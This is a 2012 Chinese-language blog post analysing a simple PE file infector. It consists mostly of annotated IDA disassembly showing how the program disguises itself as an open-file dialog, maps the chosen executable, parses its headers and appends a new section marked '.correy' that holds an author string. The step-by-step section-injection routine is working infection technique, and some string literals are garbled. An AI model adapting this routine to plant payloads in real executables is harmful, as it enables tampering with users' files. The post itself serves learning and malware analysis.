简单pe添加节病毒分析

菜鸟的病毒分析
基本信息

  报告名称:简单pe添加节病毒分析                                                   
  作者:                                                           
  报告更新日期: 2012.07.08                                          
  样本发现日期:                                           
  样本类型:                                                   
  样本文件大小/被感染文件变化长度:   
  样本文件MD5 校验值:                            
  样本文件SHA1 校验值:                           
  壳信息:                                                       
  可能受到威胁的系统: Microsoft Windows NT 4.0
Microsoft Windows NT 4.0 Terminal Services Edition
Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows Server 2003
Microsoft Windows vista
Microsoft Windows 7                                                          
  相关漏洞:                                                   
  已知检测名称:

简介
pe文件感染病毒

被感染系统及网络症状

文件系统变化
伪装的windows对话框 用户选择的文件将被修改

注册表变化

详细分析/功能介绍
1.程序运行后弹出选择文件的对话框
2.选择完毕,程序获取文件路径,打开文件创建映射
3.获取入口地址,头的大小,节的数量,对其粒子等信息
4.判断能否直接添加一个节,如果不能处理节表后面得数据
5.添加一个节,写入节的相关信息
6.改写pe文件大小,节的数量
7.关闭结束进程

预防及修复措施
运行程序前查看程序是否安全,安装杀软

技术热点及总结
对于我这个菜鸟来说还是有很多值得学习的地方,伪装UI的api,getopenfilename以及结构
LPOPENFILENAME
getopenfilename该函数创建一个Open公共对话框,使用户指定驱动器、目录和文件名、或使用户打开文件。如果用户指定了一个文件名,点击OK按钮,返回值为非零。由OPENFILENAME结构的IPstrFile成员指向的缓冲区含有全路径和用户指定的文件名。如果用户取消或关闭Open对话框或错误出现,返回值为零。
OPENFILENAME结构包含了GetOpenFileName和GetSaveFileName函数用来初始化打开或另存为对话框的信息。在用户关闭对话框后,系统返回关于用户的选择信息到这个结构中。

在程序中不仅要获得映射后的数据地址还要获得相对便宜,因为在写文件前移动指针的时候这个很重要。
反汇编代码:

 返回对其大小的函数
.text:00401000 ; Attributes: bp-based frame
.text:00401000
.text:00401000 sub_401000      proc near               ; CODE XREF: start+2F7p
.text:00401000                                         ; start+32Bp ...
.text:00401000
.text:00401000 arg_0           = dword ptr  8
.text:00401000 arg_4           = dword ptr  0Ch
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 push    edx
.text:00401004                 mov     eax, [ebp+arg_0]
.text:00401007                 xor     edx, edx
.text:00401009                 div     [ebp+arg_4]
.text:0040100C                 cmp     edx, 0
.text:0040100F                 jz      short loc_401012
.text:00401011                 inc     eax
.text:00401012
.text:00401012 loc_401012:                             ; CODE XREF: sub_401000+Fj
.text:00401012                 mul     [ebp+arg_4]
.text:00401015                 pop     edx
.text:00401016                 leave
.text:00401017                 retn    8
.text:00401017 sub_401000      endp
.text:00401017
入口函数
伪装ui
.text:0040101A
.text:0040101A                 public start
.text:0040101A start           proc near
.text:0040101A                 mov     OpenFileNAme.lStructSize, 4Ch
.text:00401024                 mov     OpenFileNAme.lpstrFilter, offset aPeFile_exe_dll ; "pe File (*.exe, *.dll)"
.text:0040102E                 mov     OpenFileNAme.lpstrFile, offset NumberOfBytesWritten
.text:00401038                 mov     OpenFileNAme.nMaxFile, 200h ; lpfile返回用户的选择信息 即被选择的文件路径
.text:00401042                 mov     OpenFileNAme.Flags, 281804h
.text:0040104C                 push    offset OpenFileNAme ; LPOPENFILENAMEA
.text:00401051                 call    GetOpenFileNameA ; 创建open公共对话框
打开文件创建映射
.text:00401056                 push    0               ; hTemplateFile
.text:00401058                 push    80h             ; dwFlagsAndAttributes
.text:0040105D                 push    3               ; dwCreationDisposition
.text:0040105F                 push    0               ; lpSecurityAttributes
.text:00401061                 push    3               ; dwShareMode
.text:00401063                 push    0C0000000h      ; dwDesiredAccess
.text:00401068                 push    offset NumberOfBytesWritten ; lpFileName
.text:0040106D                 call    CreateFileA     ; 打开选择的文件
.text:00401072                 mov     hFile, eax
.text:00401077                 push    0               ; lpName
.text:00401079                 push    0               ; dwMaximumSizeLow
.text:0040107B                 push    0               ; dwMaximumSizeHigh
.text:0040107D                 push    2               ; flProtect
.text:0040107F                 push    0               ; lpFileMappingAttributes
.text:00401081                 push    eax             ; hFile
.text:00401082                 call    CreateFileMappingA
.text:00401087                 push    0               ; dwNumberOfBytesToMap
.text:00401089                 push    0               ; dwFileOffsetLow
.text:0040108B                 push    0               ; dwFileOffsetHigh
.text:0040108D                 push    4               ; dwDesiredAccess
.text:0040108F                 push    eax             ; hFileMappingObject
.text:00401090                 call    MapViewOfFile
.text:00401095                 mov     map_address, eax ; 创建文件映像 返回映射地址
获取pe文件信息
.text:0040109A                 mov     esi, map_address
.text:004010A0                 add     esi, 3Ch
.text:004010A3                 mov     esi, [esi]
.text:004010A5                 mov     peheader_rva, esi
.text:004010AB                 mov     eax, map_address
.text:004010B0                 add     esi, eax
.text:004010B2                 mov     peheader, esi
.text:004010B8                 mov     esi, peheader
.text:004010BE                 add     esi, 6
.text:004010C1                 mov     dx, [esi]
.text:004010C4                 movsx   edx, dx
.text:004010C7                 mov     section_number, edx
.text:004010CD                 mov     esi, peheader
.text:004010D3                 add     esi, 18h
.text:004010D6                 mov     option_header, esi
.text:004010DC                 mov     esi, peheader
.text:004010E2                 add     esi, 14h
.text:004010E5                 mov     dx, [esi]
.text:004010E8                 movsx   edx, dx
.text:004010EB                 mov     sizeof_optionheader, edx
.text:004010F1                 mov     esi, peheader
.text:004010F7                 add     esi, 54h
.text:004010FA                 mov     esi, [esi]
.text:004010FC                 mov     check_sum, esi
.text:00401102                 mov     eax, map_address
.text:00401107                 add     eax, check_sum
.text:0040110D                 mov     map_address_csum, eax
.text:00401112                 mov     esi, peheader
.text:00401118                 add     esi, 38h
.text:0040111B                 mov     esi, [esi]
.text:0040111D                 mov     sectionalign, esi
.text:00401123                 mov     esi, peheader
.text:00401129                 add     esi, 3Ch
.text:0040112C                 mov     esi, [esi]
.text:0040112E                 mov     filealign, esi
.text:00401134                 mov     esi, option_header
.text:0040113A                 add     esi, sizeof_optionheader
.text:00401140                 mov     sectiontable, esi
.text:00401146                 mov     eax, 28h
.text:0040114B                 mov     ebx, section_number
.text:00401151                 mul     ebx
.text:00401153                 add     eax, sectiontable
.text:00401159                 mov     sectionbackadress, eax ; 节的尾部地址
.text:0040115E                 sub     eax, map_address
.text:00401164                 mov     lDistanceToMove, eax ; 相对偏移
.text:00401169                 mov     eax, sectionbackadress
.text:0040116E                 sub     eax, 28h
.text:00401171                 mov     esi, eax
.text:00401173                 lea     edi, a_correy   ; ".correy "
.text:00401179                 mov     ecx, 8
.text:0040117E                 repe cmpsb
感染标志最后一个节的名字
.text:00401180                 jz      loc_401528      ; 比较最后一个节的名字,是否为。correy
.text:00401180                                         ; 如果是结束
.text:00401186                 lea     esi, OpenFileNAme.pvReserved
.text:0040118C                 mov     eax, map_address
.text:00401191                 add     eax, lDistanceToMove
.text:00401197                 mov     edi, eax
.text:00401199                 mov     ecx, 28h
.text:0040119E                 repe cmpsb              ; 比较新节位置是否符合要求
.text:004011A0                 jz      loc_401278      ; 符合要求 添加节
处理节表尾数据
.text:004011A6                 mov     eax, check_sum  ; 不符合要求先处理节表后面的数据 在进行添加节
.text:004011AB                 sub     eax, lDistanceToMove
.text:004011B1                 mov     chsum_rvalast, eax
.text:004011B6                 mov     ecx, eax
.text:004011B8                 mov     eax, map_address
.text:004011BD                 add     eax, check_sum
.text:004011C3                 mov     esi, eax
.text:004011C5                 lea     edi, unk_403278
.text:004011CB
.text:004011CB loc_4011CB:                             ; CODE XREF: start+1BBj
.text:004011CB                 dec     esi
.text:004011CC                 inc     edi
.text:004011CD                 mov     bl, [esi]
.text:004011CF                 mov     [edi], bl
.text:004011D1                 dec     ecx
.text:004011D2                 cmp     ecx, 0
.text:004011D5                 jnz     short loc_4011CB
.text:004011D7                 mov     ecx, 0FFFFFFFFh
.text:004011DC                 lea     esi, unk_403278
.text:004011E2
.text:004011E2 loc_4011E2:                             ; CODE XREF: start+1CEj
.text:004011E2                 inc     esi
.text:004011E3                 inc     ecx
.text:004011E4                 mov     al, [esi]
.text:004011E6                 cmp     al, 0
.text:004011E8                 jz      short loc_4011E2
.text:004011EA                 cmp     ecx, 28h
.text:004011ED                 jb      loc_40153A
.text:004011F3                 mov     dword_403ABA, ecx
.text:004011F9                 mov     eax, chsum_rvalast
.text:004011FE                 sub     eax, ecx
.text:00401200                 mov     nNumberOfBytesToWrite, eax
.text:00401205                 mov     ecx, chsum_rvalast
.text:0040120B                 inc     ecx
.text:0040120C                 mov     eax, map_address
.text:00401211                 add     eax, lDistanceToMove
.text:00401217                 mov     esi, eax
.text:00401219                 lea     edi, unk_40367B
.text:0040121F                 dec     esi
.text:00401220                 dec     edi
.text:00401221
.text:00401221 loc_401221:                             ; CODE XREF: start+211j
.text:00401221                 inc     esi
.text:00401222                 inc     edi
.text:00401223                 mov     bl, [esi]
.text:00401225                 mov     [edi], bl
.text:00401227                 dec     ecx
.text:00401228                 cmp     ecx, 0
.text:0040122B                 jnz     short loc_401221
.text:0040122D                 push    0               ; dwMoveMethod
.text:0040122F                 push    0               ; lpDistanceToMoveHigh
.text:00401231                 push    lDistanceToMove ; lDistanceToMove
.text:00401237                 push    hFile           ; hFile
.text:0040123D                 call    SetFilePointer
.text:00401242                 push    0               ; lpOverlapped
.text:00401244                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:00401249                 push    28h             ; nNumberOfBytesToWrite
.text:0040124B                 push    offset unk_403150 ; lpBuffer
.text:00401250                 push    hFile           ; hFile
.text:00401256                 call    WriteFile
.text:0040125B                 push    0               ; lpOverlapped
.text:0040125D                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:00401262                 push    nNumberOfBytesToWrite ; nNumberOfBytesToWrite
.text:00401268                 push    offset unk_40367B ; lpBuffer
.text:0040126D                 push    hFile           ; hFile
.text:00401273                 call    WriteFile
.text:00401278
.text:00401278 loc_401278:                             ; CODE XREF: start+186j
添加节头
.text:00401278                 mov     eax, peheader_rva
.text:0040127D                 add     eax, 6
.text:00401280                 push    0               ; dwMoveMethod
.text:00401282                 push    0               ; lpDistanceToMoveHigh
.text:00401284                 push    eax             ; lDistanceToMove
.text:00401285                 push    hFile           ; hFile
.text:0040128B                 call    SetFilePointer
.text:00401290                 inc     section_number
.text:00401296                 push    0               ; lpOverlapped
.text:00401298                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:0040129D                 push    2               ; nNumberOfBytesToWrite
.text:0040129F                 push    offset section_number ; lpBuffer
.text:004012A4                 push    hFile           ; hFile
.text:004012AA                 call    WriteFile       ; 更改节的数量加1
.text:004012AF                 push    0               ; dwMoveMethod
.text:004012B1                 push    0               ; lpDistanceToMoveHigh
.text:004012B3                 push    lDistanceToMove ; lDistanceToMove
.text:004012B9                 push    hFile           ; hFile
.text:004012BF                 call    SetFilePointer  ; 指针移动到新的节准备写数据
.text:004012C4                 push    0               ; lpOverlapped
.text:004012C6                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:004012CB                 push    8               ; nNumberOfBytesToWrite
.text:004012CD                 push    offset a_correy ; ".correy "
.text:004012D2                 push    hFile           ; hFile
.text:004012D8                 call    WriteFile       ; 写入前节名
.text:004012DD                 push    offset String   ; "made by correy QQ:112426112 Email:legua"...
.text:004012E2                 call    lstrlenA
.text:004012E7                 mov     nNumberOfBytesToWrite, eax
.text:004012EC                 push    0               ; lpOverlapped
.text:004012EE                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:004012F3                 push    4               ; nNumberOfBytesToWrite
.text:004012F5                 push    offset nNumberOfBytesToWrite ; lpBuffer
.text:004012FA                 push    hFile           ; hFile
.text:00401300                 call    WriteFile       ; 写入上面的数据大小 即节的大小
.text:00401305                 push    sectionalign
.text:0040130B                 push    nNumberOfBytesToWrite
.text:00401311                 call    sub_401000      ; 返回对其大小
.text:00401316                 mov     dword_403AD2, eax
.text:0040131B                 mov     eax, sectionbackadress
.text:00401320                 sub     eax, 1Ch
.text:00401323                 mov     eax, [eax]
.text:00401325                 mov     dword_403ABA, eax
.text:0040132A                 mov     eax, sectionbackadress
.text:0040132F                 sub     eax, 20h
.text:00401332                 mov     eax, [eax]
.text:00401334                 mov     nNumberOfBytesToWrite, eax
.text:00401339                 push    sectionalign
.text:0040133F                 push    nNumberOfBytesToWrite
.text:00401345                 call    sub_401000      ; 返回对其大小
.text:0040134A                 add     eax, dword_403ABA
.text:00401350                 mov     dword_403ABA, eax
.text:00401355                 push    0               ; lpOverlapped
.text:00401357                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:0040135C                 push    4               ; nNumberOfBytesToWrite
.text:0040135E                 push    offset dword_403ABA ; lpBuffer
.text:00401363                 push    hFile           ; hFile
.text:00401369                 call    WriteFile       ; 计算对其内存大小 并写入数据
.text:0040136E                 push    filealign
.text:00401374                 push    nNumberOfBytesToWrite
.text:0040137A                 call    sub_401000      ; 返回对其大小
.text:0040137F                 mov     dword_403AC6, eax
.text:00401384                 push    0               ; lpOverlapped
.text:00401386                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:0040138B                 push    4               ; nNumberOfBytesToWrite
.text:0040138D                 push    offset dword_403AC6 ; lpBuffer
.text:00401392                 push    hFile           ; hFile
.text:00401398                 call    WriteFile
.text:0040139D                 mov     eax, sectionbackadress
.text:004013A2                 sub     eax, 14h
.text:004013A5                 mov     eax, [eax]
.text:004013A7                 mov     nNumberOfBytesToWrite, eax
.text:004013AC                 mov     eax, sectionbackadress
.text:004013B1                 sub     eax, 18h
.text:004013B4                 mov     eax, [eax]
.text:004013B6                 add     eax, nNumberOfBytesToWrite
.text:004013BC                 mov     dword_403AC2, eax
.text:004013C1                 push    0               ; lpOverlapped
.text:004013C3                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:004013C8                 push    4               ; nNumberOfBytesToWrite
.text:004013CA                 push    offset dword_403AC2 ; lpBuffer
.text:004013CF                 push    hFile           ; hFile
.text:004013D5                 call    WriteFile       ; 写入磁盘偏移
.text:004013DA                 mov     eax, lDistanceToMove
.text:004013DF                 add     eax, 24h
.text:004013E2                 push    0               ; dwMoveMethod
.text:004013E4                 push    0               ; lpDistanceToMoveHigh
.text:004013E6                 push    eax             ; lDistanceToMove
.text:004013E7                 push    hFile           ; hFile
.text:004013ED                 call    SetFilePointer
.text:004013F2                 push    0               ; lpOverlapped
.text:004013F4                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:004013F9                 push    4               ; nNumberOfBytesToWrite
.text:004013FB                 push    offset asc_403082 ; " "
.text:00401400                 push    hFile           ; hFile
.text:00401406                 call    WriteFile       ; 写入节的属性
.text:0040140B                 mov     eax, peheader
.text:00401410                 add     eax, 1Ch
.text:00401413                 mov     eax, [eax]
.text:00401415                 add     eax, dword_403AC6
.text:0040141B                 mov     newfilesize, eax
.text:00401420                 mov     ebx, peheader_rva
.text:00401426                 add     ebx, 1Ch
.text:00401429                 push    0               ; dwMoveMethod
.text:0040142B                 push    0               ; lpDistanceToMoveHigh
.text:0040142D                 push    ebx             ; lDistanceToMove
.text:0040142E                 push    hFile           ; hFile
.text:00401434                 call    SetFilePointer
.text:00401439                 push    0               ; lpOverlapped
.text:0040143B                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:00401440                 push    4               ; nNumberOfBytesToWrite
.text:00401442                 push    offset newfilesize ; lpBuffer
.text:00401447                 push    hFile           ; hFile
.text:0040144D                 call    WriteFile       ; 改写新的文件大小
.text:00401452                 mov     eax, peheader
.text:00401457                 add     eax, 50h
.text:0040145A                 mov     eax, [eax]
.text:0040145C                 add     eax, dword_403AD2
.text:00401462                 mov     dword_403ACE, eax
.text:00401467                 mov     ebx, peheader_rva
.text:0040146D                 add     ebx, 50h
.text:00401470                 push    0               ; dwMoveMethod
.text:00401472                 push    0               ; lpDistanceToMoveHigh
.text:00401474                 push    ebx             ; lDistanceToMove
.text:00401475                 push    hFile           ; hFile
.text:0040147B                 call    SetFilePointer
.text:00401480                 push    0               ; lpOverlapped
.text:00401482                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:00401487                 push    4               ; nNumberOfBytesToWrite
.text:00401489                 push    offset dword_403ACE ; lpBuffer
.text:0040148E                 push    hFile           ; hFile
.text:00401494                 call    WriteFile       ; 修改sizeofheader
.text:00401499                 push    0               ; dwMoveMethod
.text:0040149B                 push    0               ; lpDistanceToMoveHigh
.text:0040149D                 push    dword_403AC2    ; lDistanceToMove
.text:004014A3                 push    hFile           ; hFile
写文件
.text:004014A9                 call    SetFilePointer
.text:004014AE                 push    0               ; lpOverlapped
.text:004014B0                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:004014B5                 push    55h             ; nNumberOfBytesToWrite
.text:004014B7                 push    offset String   ; "made by correy QQ:112426112 Email:legua"...
.text:004014BC                 push    hFile           ; hFile
.text:004014C2                 call    WriteFile
.text:004014C7                 mov     eax, dword_403AC6
.text:004014CC                 add     eax, dword_403AC2
.text:004014D2                 push    eax
.text:004014D3                 push    0               ; dwMoveMethod
.text:004014D5                 push    0               ; lpDistanceToMoveHigh
.text:004014D7                 push    eax             ; lDistanceToMove
.text:004014D8                 push    hFile           ; hFile
.text:004014DE                 call    SetFilePointer
.text:004014E3                 pop     eax
.text:004014E4                 sub     eax, 55h
.text:004014E7                 push    0               ; dwMoveMethod
.text:004014E9                 push    0               ; lpDistanceToMoveHigh
.text:004014EB                 push    eax             ; lDistanceToMove
.text:004014EC                 push    hFile           ; hFile
.text:004014F2                 call    SetFilePointer
.text:004014F7                 push    0               ; lpOverlapped
.text:004014F9                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
.text:004014FE                 push    55h             ; nNumberOfBytesToWrite
.text:00401500                 push    offset String   ; "made by correy QQ:112426112 Email:legua"...
.text:00401505                 push    hFile           ; hFile
.text:0040150B                 call    WriteFile       ; 写文件
.text:00401510                 push    hFile           ; hFile
.text:00401516                 call    FlushFileBuffers
.text:0040151B                 push    hFile           ; hObject
.text:00401521                 call    CloseHandle
.text:00401526                 jmp     short loc_40154A
.text:00401528 ; ---------------------------------------------------------------------------
.text:00401528
.text:00401528 loc_401528:                             ; CODE XREF: start+166j
.text:00401528                 push    0               ; uType
.text:0040152A                 push    0               ; lpCaption
.text:0040152C                 push    offset Text     ; "文?
.text:00401531                 push    0               ; hWnd
.text:00401533                 call    MessageBoxA
.text:00401538                 jmp     short loc_40154A
.text:0040153A ; ---------------------------------------------------------------------------
.text:0040153A
.text:0040153A loc_40153A:                             ; CODE XREF: start+1D3j
.text:0040153A                 push    0               ; uType
.text:0040153C                 push    0               ; lpCaption
.text:0040153E                 push    offset asc_403086 ; "节头?
.text:00401543                 push    0               ; hWnd
.text:00401545                 call    MessageBoxA
.text:0040154A
.text:0040154A loc_40154A:                             ; CODE XREF: start+50Cj
.text:0040154A                                         ; start+51Ej
.text:0040154A                 push    0               ; uExitCode
.text:0040154C                 call    ExitProcess
.text:0040154C start           endp

posted @ 2012-07-08 10:32  麦小扣_刘  阅读(406)  评论(0编辑  收藏  举报